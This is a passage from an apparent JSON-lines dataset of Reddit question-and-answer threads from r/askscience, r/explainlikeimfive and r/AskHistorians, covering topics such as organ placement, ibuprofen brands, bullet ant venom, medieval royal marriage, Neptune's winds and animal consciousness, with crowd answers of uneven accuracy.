all...\n\nWhat exactly are you doing with this, anyway?", "Microwave heating depends upon the interaction of the microwaves and a polar molecule. In theory if you used a pure non-polar liquid this interaction would be minimized and heating would be lower. Of course impurities, water vapor in the ambient air, and the fact that a substance can be non-polar but at the same time still be *polarizable* and thus able to be heated to some extent in a microwave. My choice would be some sort of non-polar liquid like an oil. Of course some oils are flammable or can cause severe burns when heated so...\n\n**DISCLAIMER: YOU ARE SOLELY RESPONSIBLE FOR YOUR OWN SAFETY IN ANY DEMONSTRATION YOU ATTEMPT. IN OTHER WORDS... DON\"T TRY THIS AT HOME UNLESS YOU ARE AN EXPERT!**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "692mk8", "title": "Why are our organs in the places that they are? From an evolutionary perspective what benefit is there having our heart in between the lungs rather than elsewhere?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/692mk8/why_are_our_organs_in_the_places_that_they_are/", "answers": {"a_id": ["dh396ud", "dh3ay8m", "dh3bvoc", "dh3q4ul"], "score": [25, 6, 47, 5], "text": ["For your heart example, blood has to go from the heart to the lungs and then back to the heart again so it makes sense to have your heart and lungs close together. Less travel distance between heart and lungs means less energy in pumping and building the blood vessels.", "There is a separate loop of your circulatory system that feeds blood to the lungs to expel carbon dioxide and reoxygenate it on the way out. Also, I suppose the protection of it being smack-dab in the middle of the ribcage and behind the sternum is evolutionarily beneficial.", "One of the things to keep in mind is that evolution doesn't strive for perfection. I'm sure there are many biological systems that could be improved upon. But if it does the job and provides an adequate level of fitness, then natural selection isn't going to make it \"better\". It just has to be good enough to reliably make the next generation.", "The torso is the best place for most of your organs to be since it's the most protected area of the body, with only your brain being elsewhere because it needs to be closer to all the information coming in from the sensory organs on the head.\n\nThe placement of the organs within the body generally makes sense with how they relate to each other, so the heart is in between the lungs since it does so much pumping of blood in and out of them, the stomach is above the intestines because food goes from the stomach through the intestines toward the anus, etc. If you moved pretty much any of the organs around, something would have to travel farther than needed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "a9ss2e", "title": "what happens if you get addicted to something without knowing what it was?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9ss2e/eli5_what_happens_if_you_get_addicted_to/", "answers": {"a_id": ["ecm4lh5", "ecm5205", "ecmr6x5"], "score": [11, 9, 6], "text": ["If you're unable to get more of it, you'll go through withdrawal, which can feel really terrible, or even be fatal, depending on what you were addicted to.", "you will keep craving whatever it is. And if you don't know what it is you'll start trying other stuff to try to make up for it. The withdrawal would be miserable and potentially deadly. Being addicted to something you don't know the identity of would give your supplier more power over you.", "you are addicted to the thing you thought it was, at least in terms of craving. for a bit there, the weed in the house i was in was laced with cocaine. i did not know this. \n\ni was smoking it every day, and staying up late playing cards and chain smoking cigarettes - which is what i thought was causing the racing heart and such. then we ran out, and the money ran out, and the dealer got busted, and so there was nothing left\n\ndon\u2019t get me wrong, i was psychologically dependent on marijuana, but when we ran out of this weed, i NEEDED more. what i needed was cocaine, but i didn\u2019t know that. \n\nso i combed over the carpet of the house, collecting every part-burned crumb, packed a bowl, and smoked it. it reduced the itch, but i\u2019m fairly certain i smoked part of a raisin that night."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28vhg1", "title": "Are africanized bees also affected by colony collapse disorder?", "selftext": "I remember hearing a lot about africanized bees in the southern U.S. on the news and Discover/Animal planet while growing up and how they were becoming a problem. I haven't heard anything about them for close to a decade now. I was just wondering if africanized colonies are as affected by colony collapse disorder as other honey bees around the world. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28vhg1/are_africanized_bees_also_affected_by_colony/", "answers": {"a_id": ["cif00a6"], "score": [2], "text": ["I believe that they are a hardier kind of bee, and have not been known to suffer from CCD in any significant way. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6r6cur", "title": "why is the usa so slow in adapting technology but many, if not most of technology breakthrough comes from this country.", "selftext": "I heard some of the reason being political. The huge land may also be a factor. However I feel like there is more about it. There isn't much of a \"request\" from the public. People seems to be fine with one of the worst subway system in the world. And they are still using ancient magnetic stripe card which probably no other major city is using. When I came to the States more than 10 years ago, the high school was using VHS tape for educational video. In Hong Kong, they were \"already\" using DVD back then. \n\nWhy is there such a wide technology gap from the inventor to the general public?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6r6cur/eli5_why_is_the_usa_so_slow_in_adapting/", "answers": {"a_id": ["dl2mzc8", "dl2nv3k", "dl2oqa5", "dl2rrol", "dl2u54b"], "score": [11, 2, 7, 2, 3], "text": [" >  People seems to be fine with one of the worst subway system in the world\n\nThere isn't a US subway system, there are a bunch, but they're under city or state control.\n\n >  When I came to the States more than 10 years ago, the high school was using VHS tape for educational video\n\nAgain, school resourcing is done at a state and local level. There isn't a unified body of government. \n\nThe US is a massive country with a large population and a bunch of different political entities that often slow down development. Technological adaption is quick in the US, but there are many people and areas that are slow to change due to culture, education, availability to the new technology and other factors. We're not a monolith. ", "There is no US subway system. Subways are under the control of the city they are built in. Cities are slow to adopt new tech because that costs money and they often do not have a lot of money. \n\nThe same goes for schools. Schools are funded by local property taxes, with some additional support from State taxes. This means they have very limited resources and that there is no reason to replace tech that is currently working and sufficient to do what they need to have done, such as a VHS tape to show a video. ", "\"the high school\" like there is just one here.  There are thousands of them and they largely reflect the wealth of the surrounding community.  Some have state of the art everything.  Others can barely afford books.\n\nIf you are referring to the NYC subway, that thing runs 24/7, serves millions of people every single day, and still only costs $2.50 per ride in a city where you can't get someone to spit on you for less than $5.", "There's a lot of inertia in culture, government, politics, economics, and pretty much every other aspect of life everywhere you go. In the case of the US, geography isolates us physically from much of the rest of the world, but in terms of technology it's often that we get the crappy \u201calpha\u201d version and everyone else improves it. This is what happened with things like electricity, cars, trains, plastic payment methods, and other aspects of life in the US that Europeans might think are \u201cbackwards\u201d or \u201cold\u201d from what they're used to. Basically, we did it first so y'all didn't have to, but by the time we finally get wind of the \u201cnew and improved\u201d from elsewhere it's too different from what we know and use, and it would cost too much to upgrade. ", "Why would you upgrade to DVD if your VHS tape accomplishes the educational goal?  Many things in the USA with tech work this way - huge borders mean things roll out slower and are more expensive to replace, and there is no top down authority forcing change.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1l4nh7", "title": "What is the difference between Advil and Motrin?", "selftext": "I know that Advil and Motrin are both brand name Ibuprofen, but is there any difference? I haven't ever heard of a drug molecule have two different brand name manufacturers. I know that many drugs have generics, but this is the first drug I have seen with two brand names. I have asked multiple doctors/nurses, but have yet to get a satisfactory answer.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l4nh7/what_is_the_difference_between_advil_and_motrin/", "answers": {"a_id": ["cbvqun2", "cbvs8o7"], "score": [11, 31], "text": ["Your perceptions that ibuprofen is the only drug which has multiple brand names, and that it has only two major brand names are wrong.\n\n_URL_1_\n\nSimilar list for the drug commonly known as Tylenol:\n_URL_0_\n\n", "Both contain ibuprofen 200mg, and differ only by the inactive ingredients in the tablets. Tablets need things to increase their mass because trying to measure out and take 200mg of drug would be impossible. These ingredients can impart color, smell, taste, and most importantly size and stability to the drug in tablet form. \n\nPer the package insert, Advil tablets contain the following:\n\n > acetylated monoglycerides, colloidal silicon dioxide, corn starch, croscarmellose sodium, methylparaben, microcrystalline cellulose, pharmaceutical glaze, pharmaceutical ink, povidone, pregelatinized starch, propylparaben, sodium benzoate, sodium lauryl sulfate, stearic acid, sucrose, synthetic iron oxide, titanium dioxide, white wax\n\nPer Motrin's package insert, the tablets contain the following inactive ingredients:\n\n > carnauba wax, collidal silicon dioxide, corn starch, FD & C yellow no.6, hypromellose, iron oxide, magnesium stearate, polydextrose, polyethylene glycol, pregelatinized starch, propylene glycol, shellac, stearic acid, titanium dioxide\n\nSome people may be sensitive to one or more of these ingredients. I've had patients that were allergic to certain color dyes that made it difficult to find an appropriate formulation for them. Same goes for prescription drugs.\n\nSource: Pharmacy student and practicing pharmacy technician and intern"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/List_of_paracetamol_brand_names", "http://en.wikipedia.org/wiki/List_of_ibuprofen_brand_names"], []]}
{"q_id": "3lwf8z", "title": "what effect will turing pharmaceuticals relying on insurance companies to cover the difference in price have on consumers?", "selftext": "From what I've understood from this video _URL_0_ Turing plans on giving away the drug for free/ one dollar if one can't afford it/doesn't have insurance, but if one can afford it/has an insurance plan that covers it, they will be paying the full price.  From what I've read, it is not going to cost consumers much more than it did before, if at all, but instead the large increase in price will be charged to insurance companies.  My question is how will this affect insurance rates, why doesn't every company overcharge expecting insurance companies to cover the cost, and what other effects will it have on consumers?\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lwf8z/eli5_what_effect_will_turing_pharmaceuticals/", "answers": {"a_id": ["cv9wtgb"], "score": [2], "text": ["Ultimately, especially under the ACA, those increased costs to insurance companies will get pushed to everybody. Now that everyone in the US is required to purchase insurance, the cost of those items will get spread around to all people in the insurance plan(s). \n\nSaying \"it's ok, we'll only charge the insurance companies\" is a silly PR stunt to try to deflect some of the criticism. Ultimately the consumer will have to pay the increased cost, one way or the other."]}, "title_urls": [], "selftext_urls": ["http://www.bloomberg.com/news/videos/2015-09-21/why-turing-increased-price-of-daraprim-over-500-"], "answers_urls": [[]]}
{"q_id": "1sg885", "title": "The Bullet ant's sting is capable of making a human thresh around in unbearable pain for many hours. How do smaller animals react when stung by this insect.", "selftext": "Any insight would be appreciated, thanks guys! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1sg885/the_bullet_ants_sting_is_capable_of_making_a/", "answers": {"a_id": ["cdxvumf"], "score": [16], "text": ["The venom of the neotropical Bullet Ant (*Paraponera spp.*) contains three neurotoxic components that block synaptic activity in the insect central nervous system. The most active component, poneratoxin, is capable of blocking synaptic transmission at a concentration of 10^-8 M. Given that the average bullet ant has a venom reservoir of 1 \u03bcg, a successful sting can result in a final concentration of between 10^-5 to 10^-4 M for small insects. This could cause immediate and irreversible blockage of transmission, leading to paralysis and death, especially if it is injected into the central nervous system. \n\nCombined with the action of the other two components, *Paraponera* venom is quite disruptive to the insect nervous system, which would be expected for such predators.\n\n---\n\n**Citations**\n\n* Piek T, *et al.* 1991. *Pharmacological characterization and chemical fractionation of the venom of the ponerine ant, Paraponera clavata (F.)* Comparative Biochemistry and Physiology Part C: Comparative Pharmacology 99(3): 481 - 486.\n\n* Piek T, *et al.* 1991. *Poneratoxin, a novel peptide neurotoxin from the venom of the ant, paraponera clavata.* Comparative Biochemistry and Physiology Part C: Comparative Pharmacology 99(3): 487 - 495."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2co04n", "title": "In 1396, King Richard II of England, a 29-year-old man, married the 6-year-old Isabella of Valois. Despite the political nature, was such a marriage seen as scandalous among 14th century Catholic nobility? What were contemporary reactions to the wedding?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2co04n/in_1396_king_richard_ii_of_england_a_29yearold/", "answers": {"a_id": ["cjhf523", "cjhgogg", "cjhgxvm", "cjhq40i"], "score": [340, 412, 84, 74], "text": ["Why would that be scandalous? Are you assuming he tried to consummate the marriage that year?", "It should be specified that, like so many of the time, their royal wedding was necessary to seal a deal: Richard's truce with King Charles VI \"The Mad\" of France. So it was indeed a political agreement, not a pervy romance. If anything, her inability to produce an heir in a timely manner might have been a more serious problem than informed consent.\n\nAlso, [this is apparently a painting of their wedding](_URL_0_), provenance unknown.", "Asking as a question because I'm not 100% sure that it's the answer, but:\n\nWouldn't she have stayed with her previous guardians until she came of age? Was that not the common thing to do in these situations?", "OK, a small rant at first- **I'm opening AskHistorian and what I see? Anecdotal evidences and *Romeo and Juliet* cited as a source? Has anybody given it a second thought?**\n\nOK, serious answer, but let's start from the bottom.\nDid people marry so early in the past?\nYes. And No. \nThe false impression that people pushed kids into the bed of elders comes from the fact that most written sources deals with the aristocracy who didn't have to think about common folk's problems (described below) but has the most to win and lose in dynastic games- so yes, they married early, but not as early as one might think. \n\nThe line between betrothal and marriage was often very blurred, negotiations about dowry could take years, changing alliances could make a deal not a deal and force to change it, personal reasons like parents claiming that bride is too young or having problems with letting the child go also played a part- so in fact \"young\" was closer to 17-18 than 12.  \n\nPoorer parts of the societies married even later- woman had to gather dowry, men had to inherit land or learn trade before he could support a family (for example apprentices were usually forbidden from marrying). When we look to parish records, the age of women is often above 20. And don't forget that you had to pay for church marriage and got permission from your lord so it wasn't in uncommon for couples to live as \"common-law marriages\" till they could afford proper wedding.\n\nSo what about those child marriages? Technically they were possible (for girls above 12) and sometimes they happened when the situation pushed- especially when survival of the dynasty was imperilled. Now my personal observation- due to unusual circumstances surrounding those weddings they made it to the literature and public conciousness. So we remember 12 years old princesses marrying old men, but forget about those boring 18 years old marrying young men.  Case from my country- everyone knows that 40 something W\u0142adys\u0142aw II Jagie\u0142\u0142o married a 12 years old Jadwiga (their child was born 13 years old after ceremony so who knows what happened in private chambers) but his second and fourth brides were 22 and 17 respectively. And his third bride? Mother of 5, widow after 3 husbands, well over 35. So that's all about anecdotes. \n\nNow let's go to the case- I haven't found details about ceremony, but I doubt that he would actually made out with a child- when the bride was younger than 12 the bedding ceremony turned into purely innocent sleeping side by side. If someone was really eager, he could bare his and her legs up to the knees. After such \"consummation\" marriage still theoretically could be cancelled, but Church jurisdiction simply wouldn't take seriously a full ceremony with so young girl.\nAnd international reaction? Apart from those who actually lost something with this match it was probably \"meh\", since I haven't seen any trace about moral sithstorm you could expect. \n\nEdit: from the initial shock I forget about resources- Jacques le Goff and his \"L'umo medievale\" about the age of marriage and  \"Kronika Kobiet\" by Maria \u017bmigrodzka-Wolska for details about bedding. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/File:Isabela_richard2.jpg"], [], []]}
{"q_id": "1y1jfc", "title": "why do we drool when we sleep? more specifically during daytime naps...", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1y1jfc/eli5_why_do_we_drool_when_we_sleep_more/", "answers": {"a_id": ["cfgll1v", "cfgr18q"], "score": [35, 2], "text": ["Drool isn't produced when you're completely asleep... however, it is stimulated by the parasympathetic nervous system (also known as the \"rest and digest\" half of the nervous system, the calming half).\n\nOne of the main reasons for drool is to keep your mouth wet, your airway lubricated, and components in it have a germicidal effect, killing off some of the bad bugs that like to colonize your mouth.  \n\nWhen you're falling asleep, these factors are still in play - and also, due to your horizontal position, less saliva goes down your throat.  The combination of the parasympathetic nervous system being stimulated, the change in posture, and the general relaxation of muscles.\n\nOnce asleep, however, the drooling stops - which is why your mouth tastes bad when you wake up!  Your mouth has dried out and new bacterial colonies have popped up, leading to a nasty taste/smell.  \n\nIF you are still drooling while fully asleep, this can point to underlying issues in sleep, such as sleep apnea.", "Not an answer but a solution:  \nBrush your teeth and tongue before sleeptimes. This has helped me greatly. Your mouth doesn't detect the presence of fewd and slows down your salivital production (my own science assumption). Whatever it is, it fucking works. Give it a shot if you have trouble with salivadrool.  \nTLDR: Brush teeth = reduce drool."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3sovr2", "title": "Books On Otto Von Bismarck?", "selftext": "I looked through the books and resources list and couldnt find anything on Bismarck.  I'm not sure if I missed anything so sorry if I did, and also sorry for not making an actual question other than \"Books?\"  Delete if necessary I'll understand.  \n\nLooking for everything from beginner reading to advanced stuff.  Any good books about Bismarck and his policies will be good enough for me.  Thank you to any that respond!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3sovr2/books_on_otto_von_bismarck/", "answers": {"a_id": ["cwz6v81"], "score": [5], "text": ["In my opinion, the single *best* biography of Otto von Bismarck is Jonathan Steinberg's [*Bismarck: A Life*](_URL_1_). Unlike virtually every other biography of Bismarck Ive read, in which the author simply narrates Bismarck's life, Steinberg allows Bismarck the room to speak for himself. Rather than just say \"Bismarck did this, Bismarck went here, Bismarck said this, and Bismarck felt that\" Steinberg quotes letters, diaries, speeches, and other primary sources, sometimes at length, to allow Bismarck to tell his own story. I really like it for that reason. \n\nThe other classic series on Bismarck is [Otto Pflanze's](_URL_0_) trilogy of books on him. Pflanze is more philosophical in his approach, and attempts to analyze why Bismarck was the way he was. His series also focuses a lot more on Bismarck after the Wars of Unification, which is a bit different than most biographies in which that plays the major, central role. However, while Pflanze is a classic its not without some problems. First of all, his books are old and in the field of history, the newest works are the ones that matter. Second, and very much related, Pflanze's books are a bit pricey. I paid a bit to get mine, all used. Checking the Amazon prices just now, it seems like some have gone down and others have gone up. And since the books are out of print (AFAIK), that suggests the price will only fluctuate more. If you have access to InterLibrary Loan, a good University library, or a big city public library, those might be your best bet in getting those books without paying an arm and a leg. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Bismarck-Development-Germany-Vol-Unification/dp/0691007659/ref=sr_1_1?ie=UTF8&amp;qid=1447442125&amp;sr=8-1&amp;keywords=Otto+Pflanze", "http://www.amazon.com/Bismarck-A-Life-Jonathan-Steinberg/dp/0199975396"]]}
{"q_id": "1efnzq", "title": "Does blending vegetables increase its glycemic index", "selftext": "I find that blending kale, broccoli or most green vegetables make a pretty good soup - however I'm worry that I'm inadvertently increasing its glycemic index - like how wheat it turn into flour. Is this true? thanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1efnzq/does_blending_vegetables_increase_its_glycemic/", "answers": {"a_id": ["ca00ccz"], "score": [2], "text": ["I can't find anything relating to the processing of the vegetables, but I did find that cooking them tends to increase the glycemic index in non-root vegetables.\n\nSource:[Link](_URL_0_)\n\nIt contains a LOT of information. To quickly get to the vegetable portion search for VEG in call caps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://people.bu.edu/sobieraj/papers/GlycemicIndices.pdf"]]}
{"q_id": "4wqlvz", "title": "the pressure in the marianas trench is 8 tons psi. does that mean if i used a hammer to crush life from the trench on land, it could resist forces up to 8 tons with no problem?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wqlvz/eli5_the_pressure_in_the_marianas_trench_is_8/", "answers": {"a_id": ["d6937pe", "d693d1n", "d69hb6g", "d6a3qud"], "score": [128, 2, 9, 12], "text": ["Lifeforms from the deep sea are not built to withstand that pressure. Instead, their entire bodies are filled with the same structural support: sea water, under the same pressure. This way there's no significant forces from the pressure acting upon their bodies, as it all cancels out.", "Perhaps, but probably not.\n\nThat 16k-psi is pressing all around, not just \"down\". So, you've got 16k-psi pressing up, too. \n\nThink of an egg. It's easy to crush an egg by placing it on the counter and hitting it. That's because your force is only on one area. But, try crushing one by wrapping your whole hand around it. It's much harder (though still possible). \n\nAlso, water is incompressible. If you took a water balloon down there, it'd be the same as up here. Most of those creatures are just water, with no gases that can be compressed. That's where most creatures get in trouble - our air-filled lungs, gas in our blood, gases in our guts, etc. ", "But what if you brought a creature up from there to the surface? Would anything happen to it or would it just be business as usual?", "There are several tons of air crushing you right now. Think of it like this: Would you withstand a hammer to the hand if you were in space?\n\nThe answer is no, but more importantly you'd be dead before the hammer hit!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5918b4", "title": "Why does Neptune have such strong winds?", "selftext": "According to Wikipedia, it has the \"strongest sustained winds of any planet in the solar system, with recorded wind speeds as high as  2,100 kilometres per hour (580 m/s; 1,300 mph).\"  \n  \nWhy are the winds so strong there? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5918b4/why_does_neptune_have_such_strong_winds/", "answers": {"a_id": ["d94vsrz", "d95b4dz", "d95c7i2"], "score": [5, 2, 35], "text": ["Winds are caused by differential temperatures, adjusted by the spinning of a planet and friction caused by surface features.\n\nA terrestrial geographer not an exo-geographer, but I guess that Neptune has extremely (relative) high and low temperatures caused in part by short days and in part by irregular surfaces with different thermal qualities.", "Hi There,\n\nThe gas giant planets of the Solar System (Jupiter, Saturn, Uranus and Neptune) all rotate quite quickly, with Jupiter having a rotational period of a little over 10 hours.\n\nAs a result, they have very high wind speeds relative to the winds of   the thin atmospheres of the rocky planets Earth, Mars and Venus.\n\nTurbulence in any atmosphere is due to heat - either heat from without (such as the sun on the aforementioned rocky inner planets) or heat from within (such as the hot cores of Jupiter and Saturn) - a good approximation would be to think of the churning appearance of steam from a kettle as it boils - or even while looking at the boiling bubbles within the water inside the kettle, where heat causes the fluids (air and water) to move about randomly and turbulently.\n\nAs we move away from the sun, and ignore Jupiter which is producing heat within its core, then the Gas Giant planets get progressively colder - Saturn is colder than Jupiter, Uranus colder than Saturn, and Neptune colder than Uranus.\n\nAs there is less heat in the atmosphere, there is considerably less turbulence. As a result, the flow of atmosphere around the planet is not inhibited by drag-causing turbulence. And then, in result of this near-laminar flow of moving atmosphere, winds of incredibly high velocity can result in the upper atmospheres of Saturn, Uranus and Neptune, as detected by the Voyager 2 space probe in the 1980's.\n\nWith lack of turbulence, the atmospheric winds of the outer ice giants (as Uranus and Neptune are sometimes described) can be very high - as high as 2100 km.h^-1 in the case of Neptune.\n\nHope this goes some way to explaining this.", "There's a lot of conjecture in the other answers here, but as someone who specialized in this for his PhD, the only real answer is: we don't really know yet. This is one of the big unsolved problems in the field, though we have some ideas.\n\nThere are a few scaling relations for planetary winds that are generally true but lack precision, and there are an awful lot of exceptions, too:\n\n- **The bigger the planet, the faster the winds.** In general the larger your planet is, the more angular momentum a parcel of air will have near the equator. As it moves towards the pole, angular momentum must be conserved, and that translates to faster winds. This generally explains why giant planets have faster winds than terrestrial planets, but doesn't really explain why Neptune's winds are faster than Jupiter's, which is quite a bit larger.\n\n- **The faster the planet rotates, the faster the winds.** Again, the faster your planet rotates means the more angular momentum there is to feed into winds. Nonetheless, with this explanation alone one would again expect Jupiter (10 hour rotation) to have the fastest winds, but the winds of Neptune (16 hour rotation) are quicker. This also really fails for Venus, which has a 243 days rotation, yet has some impressively speedy winds at cloud-top.\n\n- **The bigger the source of internal heat, the faster the winds.** It takes energy to fight against drag and pump the planetary jets, and localized release of energy, generally starting as small local storms, feed into the jets to keep them strong. Again you'd expect Jupiter to win out here in terms of total internal energy, but this does explain why the winds of Neptune (with a fairly substantial internal heat source itself) beat out the winds of Uranus (essentially the same size, temperature, and rotation period as Neptune, but no internal heat).\n\n- **The lower the temperature, the lower the viscosity**. This one is probably really important for both Uranus and Neptune. As you decrease the temperature of a gas, its viscosity also decreases, so there's very little to slow down the winds and act as a source of drag. At low temperatures, you don't need to feed the winds much energy to get them going and keep the going.\n\nIt's something of a holy grail in the field to understand how each of these general rules play off one another. Which rule is most important? How many jets would we expect for each planet? Why is Venus so very different?\n\n**TL;DR**: Neptune seems to have hit a sweet spot of relatively large (good for angular momentum), relatively fast rotation (also good for angular momentum), strong internal heat source (good for feeding the winds), and very cold (low viscosity, so little to slow the winds down)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2yjxir", "title": "what are some of the most common editing/composition techniques used by tv shows/movies that make scenes seem higher quality than what amateurs produce?", "selftext": "Professional film quality always looks better than anything I could ever shoot. How?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yjxir/eli5_what_are_some_of_the_most_common/", "answers": {"a_id": ["cpa6xvf", "cpa7uo9", "cpaafvu", "cpb2x54"], "score": [38, 17, 5, 2], "text": ["They use higher quality cameras to start with, they also have the budget to have higher quality set-design, props and costumes than an amateur. In terms of composition that really depends on the director. But one key difference is that they have more time and larger teams to do things than someone not paid to do it. The director gets a shitload of footage to cut together from pieces he or she likes in post production. They storyboard scenes typically and run through them a bunch of times (if time permits), this gives them numerous selections of each frame from the scene, which they can cut together to make the best of what they've got. They also have booms, which are those microphones on sticks that you see in blooper reels. The boom allows them to record audio separate to the camera, which also lets a sound engineer pimp it out to sound ideal for whatever's going on. And let's not underestimate the skill of the camera operators, who've been doing it for years and therefore have excellent motor control, as well as a keen eye for where the camera should be focusing (not just looking in a general direction but where it doesn't blur the image, you'll notice most shows use at least slight depth of field to make the actors or important parts of a shot \"pop\"). If you want more specific stuff just respond with what you want more details on. :p", "Much better lighting. Invest in a real kit, with bounce boards and diffusers, and study \"3 point lighting\".  \n\nLenses. Real camera lenses give a depth of field and atmosphere that a consumer-grade camera can't match.", "As far as editing goes a really simple way to make something \"more professional\"  is the use of an L cut. An L cut is when the audio from one track starts before the visuals of that shot. This makes the transition into that shot much smoother and less jarring. There are plenty of techniques in editing like this. \n\nEach movie has a rythm in its editing.  An editor needs to find the rythm for the film and edit the film accordingly. For an action flick it probably has a fast rythm. For a romantic drama it might have a slow pace. For fast pace each shot in the time line shouldn't be longer than a few seconds. For slow pace each shot might be 5 seconds or longer. Having a defined rythm really makes a clip more enjoyable and professional. \n\nA lot of amateur editors edit each shot to long. My film teacher would always say only show what you have too and keep each shot as short as possible. (unless you are purposely keeping long takes). \n\nFor sound, recording at least 60 seconds of ambient noise at each location can really help the editor fix audio mistakes. \n\nAlso color grading so that all the shots match in hue and saturation also improves the quality of a video. But if it's over done it can look amateurish. \n\nThat's just some stuff. If anyone is interested I can talk about other techniques and tricks when I get out of class. \n", "Despite people saying things like \"cameras\" and \"crew\" ... the real answer is careful, professional and deliberate lighting. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3bqylc", "title": "what is the difference between the brontosaurus, the brachiosaurus, and apatosaurus?", "selftext": "I feel like every time I hear about these dinosaurs I hear a different explanation, and right now I'm reading the novel Jurassic Park and someone implies \"brontosaurus\" is just a nickname for an apatosaurus, which I haven't heard before.  So I guess I'm just trying to figure it out once and for all.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bqylc/eli5_what_is_the_difference_between_the/", "answers": {"a_id": ["csomspc"], "score": [6], "text": ["There's no settled consensus on Bronto/Apatosaurus. They were considered different species in the 19th century, then the same species in the 20th century, and now it looks like they might be seen as different again. There are arguments for both sides. We'll have to wait and see on that front.\n\nBrachiosaurus is just a different species."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "33xp8g", "title": "what is consciousness like for creatures with significantly smaller brains, such as insects and rodents?", "selftext": "Do these creatures make active decisions or do they just run like a programmed computer to survive in the way evolution taught them?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33xp8g/eli5_what_is_consciousness_like_for_creatures/", "answers": {"a_id": ["cqpcx81", "cqpdc1i", "cqpdq17", "cqpj22a", "cqpj6un", "cqpvegd"], "score": [41, 118, 4, 21, 5, 4], "text": ["I guess we'll never know how it feels to be them, but they're like us on some level. You touch a hot plate and even before you can process what happened you pull the hand away, it's a subconscious reflex to avoid harm driven by pain. You see an attractive male/female you sometimes get a desire to have intimate relationship with them, it's a normal biological reaction which helps you have offspring. Animals have the same drive, but aren't held back by social standards, morality etc. They feel hunger, they feel thirst they try to eat/drink. They seek safety, refuge, have urges to protect their offspring. Basically they have every primal instinct we have, but they don't have the ability to process it like we do, to attribute importance to them, to contemplate it.\n\nIn essence they're just a little life form bound by rules of action - reaction caused by chemicals in their body, which are produced for them to react to external stimuli. They aren't self-aware. They are just a biological computer bound by a set of rules, even humans are, only difference is we can evaluate our actions on a deeper level and avoid some of the primal impulses we have, because of our societal guidelines.\n\nI'm sorry if I didn't answer your question like you wanted it to, but I feel like there is no right or wrong answer for it.", "No one knows. Consciousness is one of the greatest mysteries of science and philosophy, and, though our instinct might suggest that all moderately complex animals have some form of it, there's relatively no hard evidence one way or another. \n\nAn even more intriguing (yet in some ways itself quite illuminating) question is \"what might consciousness be like for an animal that seems conscious yet has no centralized brain at all, like a lobster?\" Further, if we say something without a centralized brain can have consciousness, who's really to say that something like a plant doesn't?\n\nI'm barely scratching the surface here, so  I'd advise looking elsewhere for perhaps an ELI15 answer. I like Dennett as a jumping off point, but I'm on a mobile so hard to grab a good link. Personally (and this is WIDELY debated), I think many animals likely have some kind of consciousness, but language is the defining feature of anything that looks at all like human consciousness, so much so that you'd barely recognize a chicken's \"consciousness\" as such if you were somehow transported into its head. \n\nEdit: word", "Very simple organisms run like a programmed computer. For example, at the cellular level (edit: as in, a single celled organism), consciousness probably doesn't exist. However, as you increase in complexity, you get consciousness. A lot of scientists think that consciousness stems from underlying biological processes, which has sparked the 'does free will even exist' debate (which is a totally different topic). The examples used in your post (rodents and insects) could have consciousness. Many rodents are actually highly and surprisingly intelligent. Insects are more mysterious, they *could* have [consciousness](_URL_0_).", "We can't even agree on [what consciousness is like for humans](_URL_0_).  Trying to understand what other, non-human organisms perceive is far more difficult than that.\n\nFrom *what we can observe*, it appears that they operate like biological computers.  However, those same observations can be made about any living creature, including humans.  There have been a lot of studies done which show that humans are less in charge of their own decisions than they think they are (often in the context of making marketing messages more effective).  We have yet to find the part that makes humans conscious individuals instead of just complex biological machines, and such a part may not even exist.  We may very well be nothing but organic computers.\n\nIn other words, we have no firm idea of what consciousness is like in general, and until we do we have no hope of understanding what it's like for any specific creature.", "A more interesting comparison is rodents and reptiles. Reptiles don't \"play\", only mammals do. Thus reptiles don't feel \"boredom\" like we do. They just have the drive to eat, sleep, drink, and fuck.", "Aren't there cases of feral humans? Kids who grew up on their own, no social abilities whatsoever? They pretty much lived in the moment, and while they were biologically the same as you or I, they 